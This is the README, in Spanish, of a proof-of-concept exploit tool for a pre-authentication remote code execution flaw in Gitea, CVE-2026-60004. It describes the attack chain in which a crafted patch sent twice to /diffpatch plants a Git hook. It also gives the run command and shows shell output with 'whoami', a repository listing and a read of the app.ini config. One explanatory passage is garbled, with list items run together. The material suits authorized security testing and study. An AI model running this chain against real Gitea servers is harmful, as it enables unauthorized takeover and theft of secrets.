
CVE-2026-60004 — Gitea <= 1.27.0 Pre-Auth RCE
Este es un exploit de prueba de concepto para CVE-2026-60004, una vulnerabilidad crítica de ejecución remota de código en las versiones 1.17 a 1.27.0 de Gitea. El script automatiza toda la cadena de explotación, desde el registro de usuario hasta el establecimiento de un shell interactivo y estable en el servidor objetivo.
La vulnerabilidad existe en el endpoint de la API /diffpatch. Al enviar un parche malicioso dos veces, una colisión add/add activa un respaldo de fusión de tres vías que ignora la bandera --cached y escribe un hook de Git ejecutable directamente en el GIT_DIR del repositorio bare. Cuando Git actualiza el índice, ejecuta automáticamente este hook, permitiendo la ejecución arbitraria de comandos como la cuenta de servicio de Gitea.
Debido a que Gitea es un binario Go compilado sin un intérprete PHP integrado, la colocación de una webshell tradicional a menudo falla si no hay un servidor web secundario configurado para ejecutarla. Para resolver esto y garantizar que el exploit sea completamente estable, este script utiliza un enfoque basado en API:
post-index-change mediante la colisión de diffpatch.cmd.sh), lo ejecuta como la cuenta de servicio y escribe la salida en un blob de Git (proof).Esto crea un shell interactivo totalmente funcional directamente a través de la API de Gitea, sin necesidad de servidores web externos ni intérpretes secundarios.
python3 poc.py https://target.com
Una vez ejecutado, el script registrará automáticamente una cuenta, plantará el hook malicioso y te llevará a un shell interactivo:
---------------------------------------------------
CVE-2026-60004 -- Gitea <= 1.27.0 Pre-Auth RCE
Fully Interactive API Shell
---------------------------------------------------
[*] Fetching CSRF token from signup page...
[+] CSRF token acquired.
[*] Registering user: poc5wp6tp
[+] Authenticated as poc5wp6tp
[*] Creating repository: poc-ozirkq
[+] Repository created.
[*] Fetching main branch SHA...
[*] Planting malicious hook via add/add collision...
[+] Hook planted and triggered.
[*] Verifying RCE...
[+] RCE VERIFIED! Shell is ready.
uid=1000(git) gid=1000(git) groups=1000(git)
==================================================
Gitea API-driven Interactive Shell
Type 'exit' to quit
==================================================
gitea-rce$ whoami
git
gitea-rce$ ls -la /data/gitea/repositories
...
gitea-rce$ cat /data/gitea/conf/app.ini
...
Esta herramienta está destinada únicamente a fines educativos y pruebas de seguridad autorizadas, como CTFs. Asegúrate de tener permiso explícito para probar el sistema objetivo. El autor no es responsable de ningún uso indebido o daño causado por esta herramienta.
Chirag Artani - https://3rag.com